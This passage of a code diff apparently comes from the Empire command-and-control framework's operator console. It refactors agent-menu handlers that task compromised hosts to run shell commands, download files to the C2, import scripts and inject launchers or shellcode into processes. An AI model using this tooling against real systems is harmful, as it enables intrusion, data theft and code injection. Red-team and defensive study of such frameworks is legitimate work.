16611687 except KeyboardInterrupt:
16621688 print('')
1663
1689
16641690 elif name.lower() == 'stale':
16651691 # remove 'stale' agents that have missed their checkin intervals
1666
1667 allAgents = self.mainMenu.agents.get_agents_db()
1668
1669 for agent in allAgents:
1670
1671 sessionID = agent['session_id']
1672
1673 stale = helpers.is_stale(agent['lastseen_time'], agent['delay'], agent['jitter'])
1674
1675 if stale:
1692
1693 all_agents = Session().query(models.Agent).all()
1694
1695 for agent in all_agents:
1696 if agent.stale:
16761697 # if the last checkin time exceeds the limit, remove it
1677 self.mainMenu.agents.remove_agent_db(sessionID)
1678
1679
1698 Session().delete(agent)
1699 Session().commit()
16801700 elif name.isdigit():
16811701 # if we're removing agents that checked in longer than X minutes ago
1682 allAgents = self.mainMenu.agents.get_agents_db()
1683
1702 all_agents = Session().query(models.Agent).all()
1703
16841704 try:
16851705 minutes = int(line.strip())
1686
1706
16871707 # grab just the agents active within the specified window (in minutes)
1688 for agent in allAgents:
1689
1690 sessionID = agent['session_id']
1691
1692 diff = helpers.getutcnow() - agent['lastseen_time']
1708 for agent in all_agents:
1709 diff = helpers.getutcnow() - agent.lastseen_time
16931710 too_old = diff.total_seconds() > int(minutes) * 60
16941711
16951712 if too_old:
16961713 # if the last checkin time exceeds the limit, remove it
1697 self.mainMenu.agents.remove_agent_db(sessionID)
1698
1714 Session().delete(agent)
1715 Session().commit()
1716
16991717 except:
17001718 print(helpers.color("[!] Please enter the minute window for agent checkin."))
1701
1719
17021720 else:
17031721 # extract the sessionID and clear the agent tasking
1704 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1705
1706 if sessionID and len(sessionID) != 0:
1707 self.mainMenu.agents.remove_agent_db(sessionID)
1722 session_id = self.mainMenu.agents.get_agent_id_db(name)
1723
1724 if session_id and len(session_id) != 0:
1725 self.mainMenu.agents.remove_agent_db(session_id)
17081726 else:
17091727 print(helpers.color("[!] Invalid agent name"))
1710
1711
1728
17121729 def do_usestager(self, line):
17131730 "Use an Empire stager."
1714
1731
17151732 parts = line.split(' ')
1716
1733
17171734 if parts[0] not in self.mainMenu.stagers.stagers:
17181735 print(helpers.color("[!] Error: invalid stager module"))
1719
1736
17201737 elif len(parts) == 1:
17211738 stager_menu = StagerMenu(self.mainMenu, parts[0])
17221739 stager_menu.cmdloop()
17301747 stager_menu.cmdloop()
17311748 else:
17321749 print(helpers.color("[!] Error in AgentsMenu's do_userstager()"))
1733
1734
1750
17351751 def do_usemodule(self, line):
17361752 "Use an Empire PowerShell module."
1737
1753
17381754 # Strip asterisks added by MainMenu.complete_usemodule()
17391755 module = line.strip().rstrip("*")
1740
1756
17411757 if module not in self.mainMenu.modules.modules:
17421758 print(helpers.color("[!] Error: invalid module"))
17431759 else:
17441760 # set agent to "all"
17451761 module_menu = ModuleMenu(self.mainMenu, line, agent="all")
17461762 module_menu.cmdloop()
1747
1748
1763
17491764 def do_searchmodule(self, line):
17501765 "Search Empire module names/descriptions."
1751
1766
17521767 searchTerm = line.strip()
1753
1768
17541769 if searchTerm.strip() == "":
17551770 print(helpers.color("[!] Please enter a search term."))
17561771 else:
17661781 else:
17671782 listenerMenu = ListenerMenu(self.mainMenu, parts[0])
17681783 listenerMenu.cmdloop()
1769
1784
17701785 def complete_interact(self, text, line, begidx, endidx):
17711786 "Tab-complete an interact command"
1772
1787
17731788 names = self.mainMenu.agents.get_agent_names_db()
17741789 mline = line.partition(' ')[2]
17751790 offs = len(mline) - len(text)
17791794 else:
17801795 names_return = names
17811796 return [s[offs:] for s in names_return if s.startswith(mline)]
1782
1783
1797
17841798 def complete_rename(self, text, line, begidx, endidx):
17851799 "Tab-complete a rename command"
1786
1800
17871801 return self.complete_interact(text, line, begidx, endidx)
1788
1789
1802
17901803 def complete_clear(self, text, line, begidx, endidx):
17911804 "Tab-complete a clear command"
1792
1805
17931806 names = self.mainMenu.agents.get_agent_names_db() + ["all", "autorun"]
17941807 mline = line.partition(' ')[2]
17951808 offs = len(mline) - len(text)
17971810
17981811 def complete_remove(self, text, line, begidx, endidx):
17991812 "Tab-complete a remove command"
1800
1813
18011814 names = self.mainMenu.agents.get_agent_names_db() + ["all", "stale"]
18021815 mline = line.partition(' ')[2]
18031816 offs = len(mline) - len(text)
18041817 return [s[offs:] for s in names if s.startswith(mline)]
1805
1818
18061819 def complete_list(self, text, line, begidx, endidx):
18071820 "Tab-complete a list command"
1808
1821
18091822 options = ["stale"]
18101823 mline = line.partition(' ')[2]
18111824 offs = len(mline) - len(text)
18121825 return [s[offs:] for s in options if s.startswith(mline)]
1813
1814
1826
18151827 def complete_kill(self, text, line, begidx, endidx):
18161828 "Tab-complete a kill command"
1817
1829
18181830 return self.complete_clear(text, line, begidx, endidx)
1819
1820
1831
18211832 def complete_sleep(self, text, line, begidx, endidx):
18221833 "Tab-complete a sleep command"
1823
1834
18241835 return self.complete_clear(text, line, begidx, endidx)
1825
1826
1836
18271837 def complete_lostlimit(self, text, line, begidx, endidx):
18281838 "Tab-complete a lostlimit command"
1829
1839
18301840 return self.complete_clear(text, line, begidx, endidx)
1831
1832
1841
18331842 def complete_killdate(self, text, line, begidx, endidx):
18341843 "Tab-complete a killdate command"
1835
1844
18361845 return self.complete_clear(text, line, begidx, endidx)
1837
1838
1846
18391847 def complete_workinghours(self, text, line, begidx, endidx):
18401848 "Tab-complete a workinghours command"
1841
1849
18421850 return self.complete_clear(text, line, begidx, endidx)
1843
1844
1851
18451852 def complete_usemodule(self, text, line, begidx, endidx):
18461853 "Tab-complete an Empire PowerShell module path"
18471854 return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
1848
1849
1855
18501856 def complete_usestager(self, text, line, begidx, endidx):
18511857 "Tab-complete an Empire stager module path."
18521858 return self.mainMenu.complete_usestager(text, line, begidx, endidx)
1853
1854
1859
18551860 def complete_creds(self, text, line, begidx, endidx):
18561861 "Tab-complete 'creds' commands."
18571862 return self.mainMenu.complete_creds(text, line, begidx, endidx)
18621867 An abstracted class used by Empire to determine which agent menu type
18631868 to instantiate.
18641869 """
1870
18651871 def __init__(self, mainMenu, sessionID):
1866
1872
18671873 agentLanguage = mainMenu.agents.get_language_db(sessionID)
1868
1874
18691875 if agentLanguage.lower() == 'powershell':
18701876 agent_menu = PowerShellAgentMenu(mainMenu, sessionID)
18711877 agent_menu.cmdloop()
18801886 """
18811887 The main class used by Empire to drive an individual 'agent' menu.
18821888 """
1889
18831890 def __init__(self, mainMenu, sessionID):
18841891 SubMenu.__init__(self, mainMenu)
1885
1892
18861893 self.sessionID = sessionID
18871894 self.doc_header = 'Agent Commands'
18881895 dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
1889
1896
18901897 # try to resolve the sessionID to a name
18911898 name = self.mainMenu.agents.get_agent_name_db(sessionID)
1892
1899
18931900 # set the text prompt
18941901 self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > '
1895
1902
18961903 # agent commands that have opsec-safe alises in the agent code
1897 self.agentCommands = ['ls', 'dir', 'rm', 'del', 'cp', 'copy', 'pwd', 'cat', 'cd', 'mkdir', 'rmdir', 'mv', 'move', 'ipconfig', 'ifconfig', 'route', 'reboot', 'restart', 'shutdown', 'ps', 'tasklist', 'getpid', 'whoami', 'getuid', 'hostname']
1898
1904 self.agentCommands = ['ls', 'dir', 'rm', 'del', 'cp', 'copy', 'pwd', 'cat', 'cd', 'mkdir', 'rmdir', 'mv',
1905 'move', 'ipconfig', 'ifconfig', 'route', 'reboot', 'restart', 'shutdown', 'ps',
1906 'tasklist', 'getpid', 'whoami', 'getuid', 'hostname']
1907
18991908 # display any results from the database that were stored
19001909 # while we weren't interacting with the agent
19011910 results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
19021911 if results:
19031912 print("\n" + results.rstrip('\r\n'))
1904
1913
19051914 # def preloop(self):
19061915 # traceback.print_stack()
1907
1916
19081917 def handle_agent_event(self, signal, sender):
19091918 """
19101919 Handle agent event signals
19151924 except ValueError:
19161925 print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender)))
19171926 return
1918
1927
19191928 if '{} returned results'.format(self.sessionID) in signal:
19201929 results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
19211930 if results:
19221931 print("\n" + helpers.color(results))
1923
1924
1932
19251933 def default(self, line):
19261934 "Default handler"
1927
1935
19281936 line = line.strip()
19291937 parts = line.split(' ')
1930
1938
19311939 if len(parts) > 0:
19321940 # check if we got an agent command
19331941 if parts[0] in self.agentCommands:
19341942 shellcmd = ' '.join(parts)
19351943 # task the agent with this shell command
19361944 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", shellcmd)
1937
1945
19381946 # dispatch this event
19391947 message = "[*] Tasked agent to run command {}".format(line)
19401948 signal = json.dumps({
19431951 'command': line
19441952 })
19451953 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
1946
1954
19471955 # update the agent log
19481956 msg = "Tasked agent to run command " + line
19491957 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
19501958 else:
19511959 print(helpers.color("[!] Command not recognized."))
19521960 print(helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands."))
1953
1961
19541962 def do_help(self, *args):
19551963 "Displays the help menu or syntax for particular commands."
1956
1964
19571965 if args[0].lower() == "agentcmds":
19581966 print("\n" + helpers.color("[*] Available opsec-safe agent commands:\n"))
1959 print(" " + messages.wrap_columns(", ".join(self.agentCommands), ' ', width1=50, width2=10, indent=5) + "\n")
1967 print(" " + messages.wrap_columns(", ".join(self.agentCommands), ' ', width1=50, width2=10,
1968 indent=5) + "\n")
19601969 else:
19611970 SubMenu.do_help(self, *args)
19621971
19631972 def do_dirlist(self, line):
19641973 "Tasks an agent to store the contents of a directory in the database."
19651974 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DIR_LIST", line)
1966
1975
19671976 def do_list(self, line):
19681977 "Lists all active agents (or listeners)."
1969
1978
19701979 if line.lower().startswith("listeners"):
19711980 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
19721981 elif line.lower().startswith("agents"):
19731982 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
19741983 else:
19751984 print(helpers.color("[!] Please use 'list [agents/listeners] <modifier>'."))
1976
1985
19771986 def do_rename(self, line):
19781987 "Rename the agent."
1979
1988
19801989 parts = line.strip().split(' ')
19811990 oldname = self.mainMenu.agents.get_agent_name_db(self.sessionID)
1982
1991
19831992 # name sure we get a new name to rename this agent
19841993 if len(parts) == 1 and parts[0].strip() != '':
19851994 # replace the old name with the new name
19881997 self.prompt = "(Empire: " + helpers.color(parts[0], 'red') + ") > "
19891998 else:
19901999 print(helpers.color("[!] Please enter a new name for the agent"))
1991
2000
19922001 def do_info(self, line):
19932002 "Display information about this agent"
1994
2003
19952004 # get the agent name, if applicable
19962005 agent = self.mainMenu.agents.get_agent_db(self.sessionID)
19972006 messages.display_agent(agent)
1998
2007
19992008 def do_exit(self, line):
20002009 "Task agent to exit."
2001
2010
20022011 try:
20032012 choice = input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
20042013 if choice.lower() == "y":
2005
20062014 self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
2007
2015
20082016 # dispatch this event
20092017 message = "[*] Tasked agent to exit"
20102018 signal = json.dumps({
20122020 'message': message
20132021 })
20142022 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2015
2023
20162024 # update the agent log
20172025 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
20182026 raise NavAgents
2019
2027
20202028 except KeyboardInterrupt:
20212029 print("")
2022
2023
2030
20242031 def do_clear(self, line):
20252032 "Clear out agent tasking."
20262033 self.mainMenu.agents.clear_agent_tasks_db(self.sessionID)
2027
2028
2034
20292035 def do_jobs(self, line):
20302036 "Return jobs or kill a running job."
2031
2037
20322038 parts = line.split(' ')
2033
2039
20342040 if len(parts) == 1:
20352041 if parts[0] == '':
20362042 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETJOBS")
2037
2043
20382044 # dispatch this event
20392045 message = "[*] Tasked agent to get running jobs"
20402046 signal = json.dumps({
20422048 'message': message
20432049 })
20442050 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2045
2051
20462052 # update the agent log
20472053 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs")
20482054 else:
20502056 elif len(parts) == 2:
20512057 jobID = parts[1].strip()
20522058 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPJOB", jobID)
2053
2059
20542060 # dispatch this event
20552061 message = "[*] Tasked agent to stop job {}".format(jobID)
20562062 signal = json.dumps({
20582064 'message': message
20592065 })
20602066 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2061
2067
20622068 # update the agent log
20632069 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
2064
2070
20652071 def do_sleep(self, line):
20662072 "Task an agent to 'sleep interval [jitter]'"
2067
2073
20682074 parts = line.strip().split(' ')
20692075 if len(parts) > 0 and parts[0] != "":
20702076 delay = parts[0]
20712077 jitter = 0.0
20722078 if len(parts) == 2:
20732079 jitter = parts[1]
2074
2080
20752081 # update this agent's information in the database
20762082 self.mainMenu.agents.set_agent_field_db("delay", delay, self.sessionID)
20772083 self.mainMenu.agents.set_agent_field_db("jitter", jitter, self.sessionID)
2078
2079 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-Delay " + str(delay) + ' ' + str(jitter))
2080
2084
2085 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL",
2086 "Set-Delay " + str(delay) + ' ' + str(jitter))
2087
20812088 # dispatch this event
20822089 message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter)
20832090 signal = json.dumps({
20852092 'message': message
20862093 })
20872094 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2088
2095
20892096 # update the agent log
20902097 msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
20912098 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2092
2093
2099
20942100 def do_lostlimit(self, line):
20952101 "Task an agent to change the limit on lost agent detection"
2096
2102
20972103 parts = line.strip().split(' ')
20982104 if len(parts) > 0 and parts[0] != "":
20992105 lostLimit = parts[0]
2100
2106
21012107 # update this agent's information in the database
21022108 self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID)
21032109 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
2104
2110
21052111 # dispatch this event
21062112 message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
21072113 signal = json.dumps({
21092115 'message': message
21102116 })
21112117 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2112
2118
21132119 # update the agent log
21142120 msg = "Tasked agent to change lost limit " + str(lostLimit)
21152121 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2116
2117
2122
21182123 def do_kill(self, line):
21192124 "Task an agent to kill a particular process name or ID."
2120
2125
21212126 parts = line.strip().split(' ')
21222127 process = parts[0]
2123
2128
21242129 if process == "":
21252130 print(helpers.color("[!] Please enter a process name or ID."))
21262131 else:
21312136 # otherwise assume we were passed a process name
21322137 # so grab all processes by this name and kill them
21332138 command = "Get-Process " + str(process) + " | %{Stop-Process $_.Id -Force}"
2134
2139
21352140 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", command)
2136
2141
21372142 # dispatch this event
21382143 message = "[*] Tasked agent to kill process {}".format(process)
21392144 signal = json.dumps({
21412146 'message': message
21422147 })
21432148 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2144
2149
21452150 msg = "Tasked agent to kill process: " + str(process)
21462151 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2147
2148
2152
21492153 def do_killdate(self, line):
21502154 "Get or set an agent's killdate (01/01/2016)."
2151
2155
21522156 parts = line.strip().split(' ')
21532157 date = parts[0]
2154
2158
21552159 if date == "":
21562160 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Get-KillDate")
2157
2161
21582162 # dispatch this event
21592163 message = "[*] Tasked agent to get KillDate"
21602164 signal = json.dumps({
21622166 'message': message
21632167 })
21642168 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2165
2169
21662170 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get KillDate")
2167
2171
21682172 else:
21692173 # update this agent's information in the database
21702174 self.mainMenu.agents.set_agent_field_db("kill_date", date, self.sessionID)
2171
2175
21722176 # task the agent
21732177 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-KillDate " + str(date))
2174
2178
21752179 # dispatch this event
21762180 message = "[*] Tasked agent to set KillDate to {}".format(date)
21772181 signal = json.dumps({
21792183 'message': message
21802184 })
21812185 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2182
2186
21832187 # update the agent log
21842188 msg = "Tasked agent to set killdate to " + str(date)
21852189 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2186
2187
2190
21882191 def do_workinghours(self, line):
21892192 "Get or set an agent's working hours (9:00-17:00)."
2190
2193
21912194 parts = line.strip().split(' ')
21922195 hours = parts[0]
2193
2196
21942197 if hours == "":
21952198 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Get-WorkingHours")
2196
2199
21972200 # dispatch this event
21982201 message = "[*] Tasked agent to get working hours"
21992202 signal = json.dumps({
22012204 'message': message
22022205 })
22032206 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2204
2207
22052208 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")
2206
2209
22072210 else:
22082211 hours = hours.replace(",", "-")
22092212 # update this agent's information in the database
22102213 self.mainMenu.agents.set_agent_field_db("working_hours", hours, self.sessionID)
2211
2214
22122215 # task the agent
22132216 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours))
2214
2217
22152218 # dispatch this event
22162219 message = "[*] Tasked agent to set working hours to {}".format(hours)
22172220 signal = json.dumps({
22192222 'message': message
22202223 })
22212224 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2222
2225
22232226 # update the agent log
22242227 msg = "Tasked agent to set working hours to " + str(hours)
22252228 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2226
2227
2229
22282230 def do_shell(self, line):
22292231 "Task an agent to use a shell command."
2230
2232
22312233 line = line.strip()
22322234 if line != "":
22332235 # task the agent with this shell command
22342236 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "shell " + str(line))
2235
2237
22362238 # dispatch this event
22372239 message = "[*] Tasked agent to run shell command {}".format(line)
22382240 signal = json.dumps({
22402242 'message': message
22412243 })
22422244 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2243
2245
22442246 # update the agent log
22452247 msg = "Tasked agent to run shell command " + line
22462248 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
22712273
22722274 def do_sysinfo(self, line):
22732275 "Task an agent to get system information."
2274
2276
22752277 # task the agent with this shell command
22762278 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SYSINFO")
2277
2279
22782280 # dispatch this event
22792281 message = "[*] Tasked agent to get system information"
22802282 signal = json.dumps({
22822284 'message': message
22832285 })
22842286 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2285
2287
22862288 # update the agent log
22872289 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information")
2288
2289
2290
22902291 def do_download(self, line):
22912292 "Task an agent to download a file into the C2."
2292
2293
22932294 line = line.strip()
2294
2295
22952296 if line != "":
22962297 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line)
2297
2298
22982299 # dispatch this event
22992300 message = "[*] Tasked agent to download {}".format(line)
23002301 signal = json.dumps({
23022303 'message': message
23032304 })
23042305 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2305
2306
23062307 # update the agent log
23072308 msg = "Tasked agent to download " + line
23082309 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2309
2310
2310
23112311 def do_upload(self, line):
23122312 "Task the C2 to upload a file into an agent."
2313
2313
23142314 # "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
23152315 # absolute paths accepted
23162316 parts = line.strip().split(' ')
23172317 uploadname = ""
2318
2318
23192319 if len(parts) > 0 and parts[0] != "":
23202320 if len(parts) == 1:
23212321 # if we're uploading the file with its original name
23252325 uploadname = parts[1].strip()
23262326 if parts[0] != "" and os.path.exists(parts[0]):
23272327 # Check the file size against the upload limit of 1 mb
2328
2328
23292329 # read in the file and base64 encode it for transport
23302330 open_file = open(parts[0], 'rb')
23312331 file_data = open_file.read()
23482348 'file_size': helpers.get_file_size(file_data)
23492349 })
23502350 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2351
2351
23522352 # update the agent log
23532353 msg = "Tasked agent to upload %s : %s" % (parts[0], hashlib.md5(file_data).hexdigest())
23542354 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2355
2355
23562356 # upload packets -> "filename | script data"
23572357 file_data = helpers.encode_base64(file_data)
23582358 data = uploadname + "|" + file_data.decode("latin-1")
23592359 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPLOAD", data)
23602360 else:
23612361 print(helpers.color("[!] Please enter a valid file path to upload"))
2362
2363
2362
23642363 def do_scriptimport(self, line):
23652364 "Imports a PowerShell script and keeps it in memory in the agent."
2366
2365
23672366 path = line.strip()
2368
2367
23692368 if path != "" and os.path.exists(path):
23702369 open_file = open(path, 'r')
23712370 script_data = open_file.read()
23722371 open_file.close()
2373
2372
23742373 # strip out comments and blank lines from the imported script
23752374 script_data = helpers.strip_powershell_comments(script_data)
2376
2375
23772376 # task the agent to important the script
23782377 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_IMPORT", script_data)
2379
2378
23802379 # dispatch this event
2381 message = "[*] Tasked agent to import {}: {}".format(path, hashlib.md5(script_data.encode('utf-8')).hexdigest())
2380 message = "[*] Tasked agent to import {}: {}".format(path,
2381 hashlib.md5(script_data.encode('utf-8')).hexdigest())
23822382 signal = json.dumps({
23832383 'print': False,
23842384 'message': message,
23862386 'import_md5': hashlib.md5(script_data.encode('utf-8')).hexdigest()
23872387 })
23882388 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2389
2389
23902390 # update the agent log with the filename and MD5
23912391 msg = "Tasked agent to import %s : %s" % (path, hashlib.md5(script_data.encode('utf-8')).hexdigest())
23922392 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2393
2393
23942394 # extract the functions from the script so we can tab-complete them
23952395 functions = helpers.parse_powershell_script(script_data)
2396
2396
23972397 # set this agent's tab-completable functions
23982398 self.mainMenu.agents.set_agent_functions_db(self.sessionID, functions)
2399
2399
24002400 else:
24012401 print(helpers.color("[!] Please enter a valid script path"))
2402
2403
2402
24042403 def do_scriptcmd(self, line):
24052404 "Execute a function in the currently imported PowerShell script."
2406
2405
24072406 command = line.strip()
2408
2407
24092408 if command != "":
24102409 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_COMMAND", command)
2411
2410
24122411 # dispatch this event
24132412 message = "[*] Tasked agent {} to run {}".format(self.sessionID, command)
24142413 signal = json.dumps({
24162415 'message': message
24172416 })
24182417 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2419
2418
24202419 msg = "[*] Tasked agent %s to run %s" % (self.sessionID, command)
24212420 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2422
2423
2421
24242422 def do_usemodule(self, line):
24252423 "Use an Empire PowerShell module."
2426
2424
24272425 # Strip asterisks added by MainMenu.complete_usemodule()
2428 module = "powershell/%s" %(line.strip().rstrip("*"))
2429
2426 module = "powershell/%s" % (line.strip().rstrip("*"))
2427
24302428 if module not in self.mainMenu.modules.modules:
24312429 print(helpers.color("[!] Error: invalid module"))
24322430 else:
24332431 module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
24342432 module_menu.cmdloop()
2435
2436
2433
24372434 def do_searchmodule(self, line):
24382435 "Search Empire module names/descriptions."
2439
2436
24402437 search_term = line.strip()
2441
2438
24422439 if search_term.strip() == "":
24432440 print(helpers.color("[!] Please enter a search term."))
24442441 else:
24452442 self.mainMenu.modules.search_modules(search_term)
2446
2447
2443
24482444 def do_updateprofile(self, line):
24492445 "Update an agent connection profile."
2450
2446
24512447 # profile format:
24522448 # TaskURI1,TaskURI2,...|UserAgent|OptionalHeader1,OptionalHeader2...
2453
2449
24542450 profile = line.strip().strip()
2455
2451
24562452 if profile != "":
24572453 # load up a profile from a file if a path was passed
24582454 if os.path.exists(profile):
24592455 open_file = open(profile, 'r')
24602456 profile = open_file.readlines()
24612457 open_file.close()
2462
2458
24632459 # strip out profile comments and blank lines
24642460 profile = [l for l in profile if not l.startswith("#" and l.strip() != "")]
24652461 profile = profile[0]
2466
2462
24672463 if not profile.strip().startswith("\"/"):
24682464 print(helpers.color("[!] Task URIs in profiles must start with / and be enclosed in quotes!"))
24692465 else:
24702466 updatecmd = "Update-Profile " + profile
2471
2467
24722468 # task the agent to update their profile
24732469 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", updatecmd)
2474
2470
24752471 # dispatch this event
24762472 message = "[*] Tasked agent to update profile {}".format(profile)
24772473 signal = json.dumps({
24792475 'message': message
24802476 })
24812477 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2482
2478
24832479 # update the agent log
24842480 msg = "Tasked agent to update profile " + profile
24852481 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2486
2487 else:
2488 print(helpers.color("[*] Profile format is \"TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2...\""))
2489
2482
2483 else:
2484 print(helpers.color(
2485 "[*] Profile format is \"TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2...\""))
2486
24902487 def do_updatecomms(self, line):
24912488 "Dynamically update the agent comms to another listener"
2492
2489
24932490 # generate comms for the listener selected
24942491 if line:
24952492 listenerID = line.strip()
24992496 activeListener = self.mainMenu.listeners.activeListeners[listenerID]
25002497 if activeListener['moduleName'] != 'meterpreter' or activeListener['moduleName'] != 'http_mapi':
25012498 listenerOptions = activeListener['options']
2502 listenerComms = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_comms(listenerOptions, language="powershell")
2503
2504 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPDATE_LISTENERNAME", listenerOptions['Name']['Value'])
2499 listenerComms = self.mainMenu.listeners.loadedListeners[
2500 activeListener['moduleName']].generate_comms(listenerOptions, language="powershell")
2501
2502 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPDATE_LISTENERNAME",
2503 listenerOptions['Name']['Value'])
25052504 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SWITCH_LISTENER", listenerComms)
2506
2505
25072506 msg = "Tasked agent to update comms to %s listener" % listenerID
25082507 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
25092508 else:
2510 print(helpers.color("[!] Ineligible listener for updatecomms command: %s" % activeListener['moduleName']))
2511
2509 print(helpers.color(
2510 "[!] Ineligible listener for updatecomms command: %s" % activeListener['moduleName']))
2511
25122512 else:
25132513 print(helpers.color("[!] Please enter a valid listenername."))
2514
2514
25152515 def do_psinject(self, line):
25162516 "Inject a launcher into a remote process. Ex. psinject <listener> <pid/process_name>"
2517
2517
25182518 # get the info for the psinject module
25192519 if line:
2520
2520
25212521 if self.mainMenu.modules.modules['powershell/management/psinject']:
2522
2522
25232523 module = self.mainMenu.modules.modules['powershell/management/psinject']
25242524 listenerID = line.split(' ')[0].strip()
25252525 module.options['Listener']['Value'] = listenerID
2526
2526
25272527 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
25282528 if len(line.split(' ')) == 2:
25292529 target = line.split(' ')[1].strip()
25332533 else:
25342534 module.options['ProcName']['Value'] = target
25352535 module.options['ProcId']['Value'] = ''
2536
2536
25372537 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
25382538 module_menu = ModuleMenu(self.mainMenu, 'powershell/management/psinject')
25392539 module_menu.do_execute("")
2540
2540
25412541 else:
25422542 print(helpers.color("[!] Please enter <listenerName> <pid>"))
2543
2543
25442544 else:
25452545 print(helpers.color("[!] powershell/management/psinject module not loaded"))
2546
2546
25472547 else:
25482548 print(helpers.color("[!] Injection requires you to specify listener"))
2549
2550
2549
25512550 def do_shinject(self, line):
25522551 "Inject non-meterpreter listener shellcode into a remote process. Ex. shinject <listener> <pid>"
2553
2552
25542553 if line:
25552554 if self.mainMenu.modules.modules['powershell/management/shinject']:
25562555 module = self.mainMenu.modules.modules['powershell/management/shinject']
25582557 arch = line.split(' ')[-1]
25592558 module.options['Listener']['Value'] = listenerID
25602559 module.options['Arch']['Value'] = arch
2561
2560
25622561 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
25632562 if len(line.split(' ')) == 3:
25642563 target = line.split(' ')[1].strip()
25662565 module.options['ProcId']['Value'] = target
25672566 else:
25682567 print(helpers.color('[!] Please enter a valid process ID.'))
2569
2568
25702569 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
25712570 module_menu = ModuleMenu(self.mainMenu, 'powershell/management/shinject')
25722571 module_menu.do_execute("")
25732572 else:
25742573 print(helpers.color('[!] Please select a valid listener'))
2575
2574
25762575 else:
25772576 print(helpers.color("[!] powershell/management/psinject module not loaded"))
2578
2577
